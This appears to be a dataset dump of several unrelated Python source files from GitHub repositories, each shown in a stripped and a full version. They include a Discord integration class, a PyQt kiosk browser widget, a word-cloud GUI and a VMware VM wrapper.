2019-06-14T20:25:00.000Z

2022-03-21T19:36:10.000Z

hata/discord/integration/integration_detail.py

Multiface24111/hata

cd28f9ef158e347363669cc8d1d49db0ff41aba0

[ "0BSD" ]

52

2020-01-03T17:05:14.000Z

2022-03-31T11:39:50.000Z

hata/discord/integration/integration_detail.py

Multiface24111/hata

cd28f9ef158e347363669cc8d1d49db0ff41aba0

[ "0BSD" ]

47

2019-11-09T08:46:45.000Z

2022-03-31T14:33:34.000Z

__all__ = ('IntegrationDetail', ) from ..core import ROLES from ..utils import timestamp_to_datetime, DISCORD_EPOCH_START from ..role import create_partial_role_from_id from .preinstanced import IntegrationExpireBehavior class IntegrationDetail: """ Details about a non discord integration. Attributes ---------- expire_behavior : ``IntegrationExpireBehavior`` The behavior of expiring subscription. expire_grace_period : `int` The grace period in days for expiring subscribers. Can be `1`, `3`, `7`, `14` or `30`. If the integration is partial, or is not applicable for it, then is set as `-1`. role_id : `int` The role's identifier what the integration uses for subscribers. subscriber_count : `int` How many subscribers the integration has. Defaults to `0`. synced_at : `datetime` When the integration was last synced. syncing : `bool` Whether the integration syncing. """ __slots__ = ('expire_behavior', 'expire_grace_period', 'role_id', 'subscriber_count', 'synced_at', 'syncing', ) def __init__(self, data): """ Fills up the integration detail from the respective integration's data. Parameters ---------- data : `dict` of (`str`, `Any`) items Received integration data. """ self.syncing = data.get('syncing', False) role_id = data.get('role_id', None) if role_id is None: role_id = 0 else: role_id = int(role_id) self.role_id = role_id self.expire_behavior = IntegrationExpireBehavior.get(data.get('expire_behavior', 0)) self.expire_grace_period = data.get('expire_grace_period', -1) try: synced_at = data['synced_at'] except KeyError: synced_at = DISCORD_EPOCH_START else: synced_at = timestamp_to_datetime(synced_at) self.synced_at = synced_at self.subscriber_count = data.get('subscriber_count', 0) @property def role(self): """ Returns the integration's role. Returns ------- role : `None` or ``Role`` """ role_id = self.role_id if role_id: return create_partial_role_from_id(role_id) @classmethod def from_role(cls, role): """ Creates a partial integration detail with the given role. Parameters ---------- role : ``Role`` The respective role. Returns ------- self : ``IntegrationDetail`` The created integration detail. """ self = object.__new__(cls) self.syncing = False self.role_id = role.id self.expire_behavior = IntegrationExpireBehavior.remove_role self.expire_grace_period = -1 self.synced_at = DISCORD_EPOCH_START self.subscriber_count = 0 return self def __repr__(self): """Returns the integration detail's representation.""" repr_parts = [ '<', self.__class__.__name__, ] role_id = self.role_id if role_id: try: role = ROLES[role_id] except KeyError: pass else: repr_parts.append(' role=') repr_parts.append(repr(role)) repr_parts.append('>') return ''.join(repr_parts)

30.033613

116

0.570229

__all__ = ('IntegrationDetail', ) from ..core import ROLES from ..utils import timestamp_to_datetime, DISCORD_EPOCH_START from ..role import create_partial_role_from_id from .preinstanced import IntegrationExpireBehavior class IntegrationDetail: """ Details about a non discord integration. Attributes ---------- expire_behavior : ``IntegrationExpireBehavior`` The behavior of expiring subscription. expire_grace_period : `int` The grace period in days for expiring subscribers. Can be `1`, `3`, `7`, `14` or `30`. If the integration is partial, or is not applicable for it, then is set as `-1`. role_id : `int` The role's identifier what the integration uses for subscribers. subscriber_count : `int` How many subscribers the integration has. Defaults to `0`. synced_at : `datetime` When the integration was last synced. syncing : `bool` Whether the integration syncing. """ __slots__ = ('expire_behavior', 'expire_grace_period', 'role_id', 'subscriber_count', 'synced_at', 'syncing', ) def __init__(self, data): """ Fills up the integration detail from the respective integration's data. Parameters ---------- data : `dict` of (`str`, `Any`) items Received integration data. """ self.syncing = data.get('syncing', False) role_id = data.get('role_id', None) if role_id is None: role_id = 0 else: role_id = int(role_id) self.role_id = role_id self.expire_behavior = IntegrationExpireBehavior.get(data.get('expire_behavior', 0)) self.expire_grace_period = data.get('expire_grace_period', -1) try: synced_at = data['synced_at'] except KeyError: synced_at = DISCORD_EPOCH_START else: synced_at = timestamp_to_datetime(synced_at) self.synced_at = synced_at self.subscriber_count = data.get('subscriber_count', 0) @property def role(self): """ Returns the integration's role. Returns ------- role : `None` or ``Role`` """ role_id = self.role_id if role_id: return create_partial_role_from_id(role_id) @classmethod def from_role(cls, role): """ Creates a partial integration detail with the given role. Parameters ---------- role : ``Role`` The respective role. Returns ------- self : ``IntegrationDetail`` The created integration detail. """ self = object.__new__(cls) self.syncing = False self.role_id = role.id self.expire_behavior = IntegrationExpireBehavior.remove_role self.expire_grace_period = -1 self.synced_at = DISCORD_EPOCH_START self.subscriber_count = 0 return self def __repr__(self): """Returns the integration detail's representation.""" repr_parts = [ '<', self.__class__.__name__, ] role_id = self.role_id if role_id: try: role = ROLES[role_id] except KeyError: pass else: repr_parts.append(' role=') repr_parts.append(repr(role)) repr_parts.append('>') return ''.join(repr_parts)

0

6cc1141c1620e59785bdb019aca3300e2db9915b

553

py

Python

main.py

robingather/com-thesis

30a6e815c4f71edc332a4e74a25faf0dd21c1244

[ "MIT" ]

null

main.py

robingather/com-thesis

30a6e815c4f71edc332a4e74a25faf0dd21c1244

[ "MIT" ]

null

main.py

robingather/com-thesis

30a6e815c4f71edc332a4e74a25faf0dd21c1244

[ "MIT" ]

null

from controller import Controller import torch import cProfile import pstats OPTIMIZE = False # True to generate performance reports if OPTIMIZE: cProfile.run('main()', "output.dat") with open("output_time.txt","w") as f: p = pstats.Stats("output. dat", stream=f) p.sort_stats("time").print_stats() with open("output_calls.txt","w") as f: p = pstats.Stats("output.dat", stream=f) p.sort_stats("calls").print_stats() else: main()

25.136364

55

0.636528

from controller import Controller import torch import cProfile import pstats OPTIMIZE = False # True to generate performance reports def main(): with torch.no_grad(): Controller().run() if OPTIMIZE: cProfile.run('main()', "output.dat") with open("output_time.txt","w") as f: p = pstats.Stats("output. dat", stream=f) p.sort_stats("time").print_stats() with open("output_calls.txt","w") as f: p = pstats.Stats("output.dat", stream=f) p.sort_stats("calls").print_stats() else: main()

43

0

25

b77e52d98375ce98d4528ec49707a93bfcb316e0

169

py

Python

nodeClasses/startNode.py

marios-stam/PathFinding

b6f7d438fe8c2569db85d6c3d508846ccc3bc863

[ "MIT" ]

null

nodeClasses/startNode.py

marios-stam/PathFinding

b6f7d438fe8c2569db85d6c3d508846ccc3bc863

[ "MIT" ]

null

nodeClasses/startNode.py

marios-stam/PathFinding

b6f7d438fe8c2569db85d6c3d508846ccc3bc863

[ "MIT" ]

null

from nodeClasses.node import node

18.777778

35

0.615385

from nodeClasses.node import node class startNode(node): def __init__(self,x,y): node.__init__(self,x,y) def getFcost(self): return 0

49

1

83

df433c4a7339699215931d516699a115b7d6a36b

318

py

Python

app/tests/unit/test_log_use_cases.py

bda-19fs/bda-chatbot

4fcbda813ff5d3854a4c2e12413775676bcba9e2

[ "MIT" ]

1

2019-05-25T12:12:39.000Z

app/tests/unit/test_log_use_cases.py

bda-19fs/bda-chatbot

4fcbda813ff5d3854a4c2e12413775676bcba9e2

[ "MIT" ]

null

app/tests/unit/test_log_use_cases.py

bda-19fs/bda-chatbot

4fcbda813ff5d3854a4c2e12413775676bcba9e2

[ "MIT" ]

null

import logging from bda_core.use_cases.log.log_info import log_info

28.909091

59

0.72956

import logging from bda_core.use_cases.log.log_info import log_info def test_log_info(capsys): logging.getLogger().addHandler(logging.StreamHandler()) log_info(msg='I am in a unit test', log=logging) captured = capsys.readouterr() log_msg = 'I am in a unit test\n' assert captured.err == log_msg

226

0

23

5f4be6e4666e04d53f03216c425c40dad46daa50

2,980

py

Python

kiosk/kiosk_browser/browser_widget.py

dividat/playos

fae198150789696b2c2d51cf099cb9f6c9563022

[ "MIT" ]

1

2021-06-10T11:05:05.000Z

kiosk/kiosk_browser/browser_widget.py

dividat/playos

fae198150789696b2c2d51cf099cb9f6c9563022

[ "MIT" ]

45

2019-01-23T15:36:43.000Z

2022-03-29T08:23:30.000Z

kiosk/kiosk_browser/browser_widget.py

dividat/playos

fae198150789696b2c2d51cf099cb9f6c9563022

[ "MIT" ]

7

2019-01-18T13:53:14.000Z

2021-02-03T10:17:51.000Z

import re import urllib import logging from PyQt5.QtCore import QTimer from PyQt5.QtWidgets import QShortcut from PyQt5.QtWebEngineWidgets import QWebEngineView, QWebEngineSettings from PyQt5.QtWidgets import QSizePolicy from kiosk_browser import system def user_agent_with_system(user_agent, system_name, system_version): """Inject a specific system into a user agent string""" pattern = re.compile('(Mozilla/5.0) $([^$]*)\)(.*)') m = pattern.match(user_agent) if m == None: return f"{system_name}/{system_version} {user_agent}" else: if not m.group(2): system_detail = f"{system_name} {system_version}" else: system_detail = f"{m.group(2)}; {system_name} {system_version}" return f"{m.group(1)} ({system_detail}){m.group(3)}"

35.903614

102

0.668792

import re import urllib import logging from PyQt5.QtCore import QTimer from PyQt5.QtWidgets import QShortcut from PyQt5.QtWebEngineWidgets import QWebEngineView, QWebEngineSettings from PyQt5.QtWidgets import QSizePolicy from kiosk_browser import system class BrowserWidget(QWebEngineView): def __init__(self, url, get_current_proxy, *args, **kwargs): QWebEngineView.__init__(self, *args, **kwargs) # Register proxy authentication handler self.page().proxyAuthenticationRequired.connect( lambda url, auth, proxyHost: self._proxy_auth( get_current_proxy, url, auth, proxyHost)) # Override user agent self.page().profile().setHttpUserAgent(user_agent_with_system( user_agent = self.page().profile().httpUserAgent(), system_name = system.NAME, system_version = system.VERSION )) # Allow sound playback without user gesture self.page().settings().setAttribute(QWebEngineSettings.PlaybackRequiresUserGesture, False) # Load url self.page().setUrl(url) # Shortcut to manually reload self.reload_shortcut = QShortcut('CTRL+R', self) self.reload_shortcut.activated.connect(self.reload) # Check if pages is correctly loaded self.loadFinished.connect(self._load_finished) # Shortcut to close self.quit_shortcut = QShortcut('CTRL+ALT+DELETE', self) self.quit_shortcut.activated.connect(lambda: self.close()) # Stretch the browser policy = QSizePolicy() policy.setVerticalStretch(1) policy.setHorizontalStretch(1) policy.setVerticalPolicy(QSizePolicy.Preferred) policy.setHorizontalPolicy(QSizePolicy.Preferred) self.setSizePolicy(policy) def load(self, url): self.page().setUrl(url) def _load_finished(self, success): if not success: QTimer.singleShot(5000, self.reload) def _proxy_auth(self, get_current_proxy, url, auth, proxyHost): proxy = get_current_proxy() if proxy is not None and proxy.username is not None and proxy.password is not None: logging.info("Authenticating proxy") auth.setUser(proxy.username) auth.setPassword(proxy.password) else: logging.info("Proxy authentication request ignored because credentials are not provided.") def user_agent_with_system(user_agent, system_name, system_version): """Inject a specific system into a user agent string""" pattern = re.compile('(Mozilla/5.0) $([^$]*)\)(.*)') m = pattern.match(user_agent) if m == None: return f"{system_name}/{system_version} {user_agent}" else: if not m.group(2): system_detail = f"{system_name} {system_version}" else: system_detail = f"{m.group(2)}; {system_name} {system_version}" return f"{m.group(1)} ({system_detail}){m.group(3)}"

2,024

15

131

c9f09c526c716364169dbbaeba34b703a91c1d8a

2,625

py

Python

wordCloudGenerator.py

cwen96/Word-Cloud-Generator

0dcc23ad37f231230f80849b49de6448c84e3a7b

[ "MIT" ]

null

wordCloudGenerator.py

cwen96/Word-Cloud-Generator

0dcc23ad37f231230f80849b49de6448c84e3a7b

[ "MIT" ]

null

wordCloudGenerator.py

cwen96/Word-Cloud-Generator

0dcc23ad37f231230f80849b49de6448c84e3a7b

[ "MIT" ]

null

#wordCloudGenerator.py import wordcloud from matplotlib import pyplot as plot import tkinter from tkinter.filedialog import askopenfile #Reads the selected file and then draws the wordcloud #Removes punctuation from words #Calculates how many times each word appears in the text file if __name__ == "__main__": main()

37.5

117

0.610286

#wordCloudGenerator.py import wordcloud from matplotlib import pyplot as plot import tkinter from tkinter.filedialog import askopenfile #Reads the selected file and then draws the wordcloud def readFileAndDrawPlot(): file = askopenfile(mode = 'rb', filetypes = [("Text Files", "*.txt")]) fileContents = "" for i in file: fileContents += str(i, 'utf-8') drawPlot(fileContents) def drawPlot(fileContents): myimage = calculate_frequencies(fileContents) plot.imshow(myimage, interpolation = 'nearest') plot.axis('off') plot.show() #Removes punctuation from words def omit_punctuation(word, punctuation): newWord = "" for c in word: if c not in punctuation: newWord += c return newWord #Calculates how many times each word appears in the text file def calculate_frequencies(fileContents): #List of punctuations and uninteresting words to be excluded from the wordcloud punctuations = '''!()-[]{};:'"\,<>./?@#$%^&*_~''' uninteresting_words = ["the", "a", "to", "if", "is", "it", "of", "and", "or", "an", "as", "i", "me", "my", \ "we", "our", "ours", "you", "your", "yours", "he", "she", "him", "his", "her", "hers", "its", "they", "them", \ "their", "what", "which", "who", "whom", "this", "that", "am", "are", "was", "were", "be", "been", "being", \ "have", "has", "had", "do", "does", "did", "but", "at", "by", "with", "from", "here", "when", "where", "how", \ "all", "any", "both", "each", "few", "more", "some", "such", "no", "nor", "too", "very", "can", "will", "just", \ "for", "in", "not", "into", "so"] wordCount = {} for word in fileContents.split(): lowercase = word.lower() lowercase = omit_punctuation(lowercase, punctuations) if not lowercase.isalpha() or lowercase in uninteresting_words: continue if lowercase in wordCount: wordCount[lowercase] += 1 else: wordCount[lowercase] = 1 #wordcloud cloud = wordcloud.WordCloud() cloud.generate_from_frequencies(wordCount) return cloud.to_array() def main(): #GUI root = tkinter.Tk() root.title("Word Cloud Generator") root.geometry("300x100") textFrame = tkinter.Frame(root) textFrame.pack() label = tkinter.Label(textFrame, text = "Please open a text file", foreground="black",font=("Calibri", 20)) label.pack(side = tkinter.TOP) button = tkinter.Button(textFrame, text = "Browse...", command = readFileAndDrawPlot) button.pack(side = tkinter.BOTTOM) root.mainloop() if __name__ == "__main__": main()

2,179

0

112

8278d8338dc03e1303d76a76e15b4eab9b77b17e

400

py

Python

examples/apps/GetImage/GetImage.py

HornedSungem/SungemSDK-Python

5ce5eb7f84654aecf6840de773188f436219559d

[ "Apache-2.0" ]

14

2018-08-16T09:11:39.000Z

2019-12-07T12:54:32.000Z

examples/apps/GetImage/GetImage.py

HornedSungem/SungemSDK-Python

5ce5eb7f84654aecf6840de773188f436219559d

[ "Apache-2.0" ]

2

2019-08-23T23:31:10.000Z

2020-06-17T09:21:57.000Z

examples/apps/GetImage/GetImage.py

HornedSungem/SungemSDK-Python

5ce5eb7f84654aecf6840de773188f436219559d

[ "Apache-2.0" ]

7

2018-10-02T01:46:43.000Z

2021-06-04T19:10:47.000Z

#! /usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright(c) 2018 Senscape Corporation. # License: Apache 2.0 # Import libs import cv2, sys, numpy as np sys.path.append('../../../') import hsapi as hs device = hs.GetDevice() device.OpenDevice() try: while(1): image = device.GetImage(False) cv2.imshow('image',image) cv2.waitKey(1) finally: device.CloseDevice()

18.181818

41

0.6325

#! /usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright(c) 2018 Senscape Corporation. # License: Apache 2.0 # Import libs import cv2, sys, numpy as np sys.path.append('../../../') import hsapi as hs device = hs.GetDevice() device.OpenDevice() try: while(1): image = device.GetImage(False) cv2.imshow('image',image) cv2.waitKey(1) finally: device.CloseDevice()

0

7ce2de320184ff667c45ca79b9e4aac27a385587

1,062

py

Python

src/cactus/faces/cactus_fillAdjacenciesTest.py

Robin-Rounthwaite/cactus

3c612779b83b75cb42e08dc143b9cb81c257cf80

[ "MIT-0" ]

1

2020-12-16T07:08:29.000Z

src/cactus/faces/cactus_fillAdjacenciesTest.py

Robin-Rounthwaite/cactus

3c612779b83b75cb42e08dc143b9cb81c257cf80

[ "MIT-0" ]

null

src/cactus/faces/cactus_fillAdjacenciesTest.py

Robin-Rounthwaite/cactus

3c612779b83b75cb42e08dc143b9cb81c257cf80

[ "MIT-0" ]

null

#!/usr/bin/env python3 #Copyright (C) 2009-2011 by Benedict Paten (benedictpaten@gmail.com) # #Released under the MIT license, see LICENSE.txt import unittest import sys from sonLib.bioio import TestStatus from cactus.shared.test import getCactusInputs_random from cactus.shared.test import getCactusInputs_blanchette from cactus.shared.test import runWorkflow_multipleExamples if __name__ == '__main__': unittest.main()

35.4

142

0.708098

#!/usr/bin/env python3 #Copyright (C) 2009-2011 by Benedict Paten (benedictpaten@gmail.com) # #Released under the MIT license, see LICENSE.txt import unittest import sys from sonLib.bioio import TestStatus from cactus.shared.test import getCactusInputs_random from cactus.shared.test import getCactusInputs_blanchette from cactus.shared.test import runWorkflow_multipleExamples class TestCase(unittest.TestCase): @TestStatus.longLength def testCactus_Random(self): runWorkflow_multipleExamples(self.id(), getCactusInputs_random, testNumber=TestStatus.getTestSetup(), buildAvgs=True) @unittest.skip("test was never updated when changes were made to the way ancestors work (ERROR: Couldn't find reference event reference)") @TestStatus.longLength def testCactus_Blanchette(self): runWorkflow_multipleExamples(self.id(), getCactusInputs_blanchette, buildAvgs=True) if __name__ == '__main__': unittest.main()

347

263

23

829a2dee42cf284eaec4c66674bea0c8190e627a

6,680

py

Python

k8_vmware/vsphere/VM.py

aduvukace/k8-vmware

128a87731e342208c683e26ba79993a365d63f4b

[ "Apache-2.0" ]

null

k8_vmware/vsphere/VM.py

aduvukace/k8-vmware

128a87731e342208c683e26ba79993a365d63f4b

[ "Apache-2.0" ]

null

k8_vmware/vsphere/VM.py

aduvukace/k8-vmware

128a87731e342208c683e26ba79993a365d63f4b

[ "Apache-2.0" ]

null

import pyVmomi from osbot_utils.utils.Misc import wait from k8_vmware.vsphere.VM_Keystroke import VM_Keystroke

39.526627

144

0.580689

import pyVmomi from osbot_utils.utils.Misc import wait from k8_vmware.vsphere.VM_Keystroke import VM_Keystroke class VM: def __init__(self, vm): self.vm = vm def config(self): return self.summary().config def controller_scsi(self): controllers = self.devices_SCSI_Controllers() if len(controllers) > 0: return controllers[0] # default to returning the first one def controller_ide(self): controllers = self.devices_IDE_Controllers() if len(controllers) > 0: return controllers[0] # default to returning the first one def controller_ide_free_slot(self): controllers = self.devices_IDE_Controllers() for controller in controllers: if len(controller.device) < 2: return controller def devices(self): return self.vm.config.hardware.device def devices_IDE_Controllers (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualIDEController ) def devices_Cdroms (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualCdrom ) def devices_Disks (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualDisk ) def devices_AHCI_Controllers (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualAHCIController ) def devices_PCNet_32s (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualPCNet32 ) def devices_Vmxnet_2s (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualVmxnet2 ) def devices_Vmxnet_3s (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualVmxnet3 ) def devices_E1000s (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualE1000 ) def devices_E1000es (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualE1000e ) def devices_SCSI_Controllers (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualSCSIController ) def devices_Sriov_EthernetCards (self): return self.devices_of_type(pyVmomi.vim.vm.device.VirtualSriovEthernetCard ) def devices_of_type(self, type): devices = [] for device in self.devices(): if isinstance(device, type): devices.append(device) return devices def devices_indexed_by_label(self): devices = {} for device in self.devices(): key = device.deviceInfo.label value = device devices[key] = value return devices def guest(self): return self.summary().guest def id(self): return f"vim.{self.vm._wsdlName}:{self.vm._moId}" #note: we can also get this value from these methods (but they will do an extra request to the server) # str(self.resource_config().entity) # self.summary().vm def info(self): summary = self.summary() # need to do this since each reference to self.vm.summary.config is call REST call to the server #print(summary) config = summary.config # these values are retrieved on the initial call to self.vm.summary guest = summary.guest # using self.vm.summary.guest here would had resulted in two more REST calls runtime = summary.runtime info = { "Boot_Time" : str(runtime.bootTime) , "Connection_State" : runtime.connectionState, "Guest_Id" : config.guestId , "Guest_Full_Name" : config.guestFullName , "Host" : runtime.host , "Host_Name" : guest.hostName , "IP" : guest.ipAddress , "Memory_Size_MB" : config.memorySizeMB , "MOID" : self.vm._moId , "Name" : config.name , "Max_Cpu_Usage" : runtime.maxCpuUsage , "Max_Memory_Usage" : runtime.maxMemoryUsage , "Notes" : config.annotation , "Num_Cpu" : config.numCpu , "Path_Name" : config.vmPathName , "State_State" : runtime.powerState , "Question" : None , "UUID" : config.uuid } # if guest != None: info['IP'] = guest.ipAddress if runtime.question != None: info['Question'] = runtime.question.text, return info def hardware(self): return self.vm.config.hardware def host_name(self): return self.guest().hostName def ip(self): return self.guest().ipAddress def name(self): return self.config().name def moid(self): return str(self.vm._moId) def powered_state(self): return self.runtime().powerState def power_on(self): return self.task().power_on() def power_off(self): return self.task().power_off() def powered_on(self): return self.powered_state() == 'poweredOn' def powered_off(self): return self.powered_state() == 'poweredOff' def resource_config(self): return self.vm.resourceConfig def screenshot(self, target_file=None): from k8_vmware.vsphere.VM_Screenshot import VM_Screenshot return VM_Screenshot(self, target_file=target_file).download() def send_text(self, text): VM_Keystroke(self).send_text(text) return self def send_key(self, text): result = VM_Keystroke(self).send_key(text) return self def send_enter(self): VM_Keystroke(self).enter() return self def summary(self): return self.vm.summary # will make REST call to RetrievePropertiesEx def task(self): from k8_vmware.vsphere.VM_Task import VM_Task # have to do this import here due to circular dependencies (i.e. VM_Task imports VM) return VM_Task(self) def runtime(self): return self.vm.summary.runtime def uuid(self): return self.config().uuid def wait(self, seconds): # to help with fluent code wait(seconds) return self def __str__(self): return f'[VM] {self.name()}'

5,405

-12

1,172

8aa1d75f638cfc7d435e032ffae08cc74818678a

127

py

Python

genetic-algorithm-flyfood/testes/teste/change.py

JessyLeal/flyfood

5b0ec6b1b86078208202019a8096df0fdbe6c3b3

[ "MIT" ]

1

2022-03-13T20:22:50.000Z

genetic-algorithm-flyfood/testes/teste/change.py

JessyLeal/flyfood

5b0ec6b1b86078208202019a8096df0fdbe6c3b3

[ "MIT" ]

null

genetic-algorithm-flyfood/testes/teste/change.py

JessyLeal/flyfood

5b0ec6b1b86078208202019a8096df0fdbe6c3b3

[ "MIT" ]

null

lista = ['oi', 'bem', 'meu'] a, b = lista.index('bem'), lista.index('meu') lista[b], lista[a] = lista[a], lista[b] print(lista)

31.75

45

0.590551

lista = ['oi', 'bem', 'meu'] a, b = lista.index('bem'), lista.index('meu') lista[b], lista[a] = lista[a], lista[b] print(lista)

0